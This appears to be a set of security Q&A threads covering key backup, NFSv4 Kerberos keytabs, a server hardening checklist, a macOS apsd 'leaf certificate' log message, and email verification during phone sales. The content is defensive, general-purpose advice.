Off the top of my head I suppose you could always keep two keys -- the active one that you use and a backup, and have the current key sign a message saying "My backup key is XXXX". Given that your active key is compromised at some point in the future and you had a way to cryptographically prove that the cross-validation happened prior to the compromise (which also will require some foresight), then people could safely extend trust from the old key to the new key. ... I wonder if this is done is practice, I'm mostly an expert in Certificate Authorities where  you can just get the CA to re-issue.


On NFSv4 with kerberos security When NFSv4 is configured to use kerberos authentication is mandatory to have a keytab installed on every client with is own principal. To access files a user still needs to be authenticated with his principal.

What happens if a client keytab gets stolen? (or an attacker gets root privileges on a authorized client). Can the attacker use a modified version of NFS in order to bypass user authentication?

So I want to understand if user access control is performed by the client or by the server.

Bonus question: if the authorizing is done by the server, why does every client need a keytab?

I am not a master of NFS, but a reading of RFC 7530 (and some NFS discussion archives) shows that NFSv4 has callbacks: a NFS server can contact a NFS client, and delegate certain responsibilities to the client.  The callbacks allow improved network performance.

The presence of callbacks answers your final question "why does every client need a keytab?"  The client needs a keytab so the server (during a callback) can authenticate the identity of the client.  If a client keytab is stolen, the attacker could potentially imitate being that NFS client, and intercept or spoof NFS network traffic.

Access control is performed by the server, with the credentials sent by the client in the RPC request.


Security checklist for hosting a website on dedicated server - Linux I have been searching for a while now. But i can't find a start-up and advanced sought-of checklist to understand the most important things to consider while going for dedicated hosting server for a website/application.

I am working with a college and we have installed an IBM server there.

OS: CentOS 6.4
Application Type: PHP/MYSQL
Terminal access software: PuTTY with SSH (I have also created Public|Private tokens)

Other software which I have installed are:

Virtualmin (Helped me to install LAMP stack)
Memcached

Basically I have followed all steps which I have found in this tutorial at youtube. I found it decent to understand as it gave me a start: http://www.youtube.com/watch?v=lpJfFZoWeho

But this was not core about security.

I just want to know, like all other newbies that what would be the best checklist that I can go through and learn to assure that things are secure on broader aspects.

It would be a great help for everyone who just want to start.

@Terry's advice is quite solid. Let me offer a more conceptual view.

Your server will be secure if everything that runs on it is accounted for and appropriately maintained. While this sounds like a tautology (it is), it points at some general principles:

Always apply security updates from the software vendor. Linux distributions have tools for that; let them run.
If possible, don't install software which does not come from the Linux distribution vendor, because extra software means extra work to apply security patches.
Don't run anything that you do not need. A new, blank OS installation tends to spawn quite a number of services which are not strictly necessary for your operations. In particular, use netstat -a to see what remotely reachable services are on your machine, and lsof to find the corresponding process.
Make sure that, at any time, there is a properly defined chain of responsibility. If something bad happens, people should know who to contact and how. A server without a clearly defined sysadmin is a server which will soon be part of a botnet, or already is. Make sure that when you go on holiday, there is someone else available to fill in for system administration tasks.
Make backups. Keep several successive backups instead of keeping just the last one. This helps a lot for recovery after an attack, if only for postmortem analysis. Remember that your server is meant to run a service: availability is a primary goal. Frequent and comprehensive backups can help you put the service online faster.


Unrecognized leaf certificate Every 15 minutes or so I get this message in my system.log

Apr 25 22:05:36 Ivans-MacBook-Pro.local apsd[194]: Unrecognized leaf certificate
Apr 25 22:20:57 Ivans-MacBook-Pro.local apsd[194]: Unrecognized leaf certificate

Now I have figured out approximately what is what:

apsd - Apple Push notification Service Daemon
Leaf certificate - The first certificate in the certificate chain(Not sure, mentioned on some Microsoft site)

But what does it mean? How serious is it? What exactly is the leaf certificate?
Do I have a false/bogus certificate on my system?

It's a pretty clean Mac OS X Mavericks 10.9.2 install, only few apps from the official Mac App Store installed(Xcode and few other coding editors)

A "leaf certificate" is what is more commonly known as end-entity certificate. Certificates come in chains, starting with the root CA, each certificate being the CA which issued (signed) the next one. The last certificate is the non-CA certificate which contains the public key you actually want to use.

If the PKI is represented as a tree, with the root CA as, yeah, the root, then end-entity certificates are the leaves.

The Apple Push Notification Service is a system in which a component of your system connects back to Apple to get "notifications" (small messages related to your installed applications). From the messages you observe, it is plausible that the connection uses SSL, and the server certificate (on the Apple side of things) was recently changed, and (for some reason) does not make apsd happy.

Some Google searches show that other people get these messages, and don't seem to notice any bad consequence. This might be a consequence of some dysfunction at Apple's, and could possibly fix itself in a few hours. To be sure, try to run Wireshark to see if you could get a copy of the network traffic: if there indeed is some SSL, then Wireshark will show it, and you will get a copy of the offending certificate.


What is the best way to verify email address or phone number during call centre sale? My company sells products through calls. During the calls a customers PII is collected and used to create the product. This PII includes email. After the product is created, we email the customer a summary of the product and all the details they provided us. However, because the email is not verified, there is the potential risk of the email being incorrect and the customer's product summary (including PII) being sent to the wrong individual, who could use it for nefarious reasons.

How is email verification done when the customer is on the phone for both email or mobile number? In addition, the details provided are used to create the customer's digital identity for them to access our online portal. Again, because the email is not verified, we could be creating a digital identity for the wrong individual (i.e. not the customer but the owner of the incorrect email). What is the best way to resolve this?

Voice calls are subject to error and misunderstanding. You should bring some other means of getting data from user, e.g. web forms or SMS.

Anyways, you better set some arranged response, then send a simple empty verification e-mail to that client expecting that.

For example, you can tell the customer a 2-digit number over the phone which must be written in the  reply to your verification e-mail. You may trust the e-mail as soon as you get reply including that 2-digit number.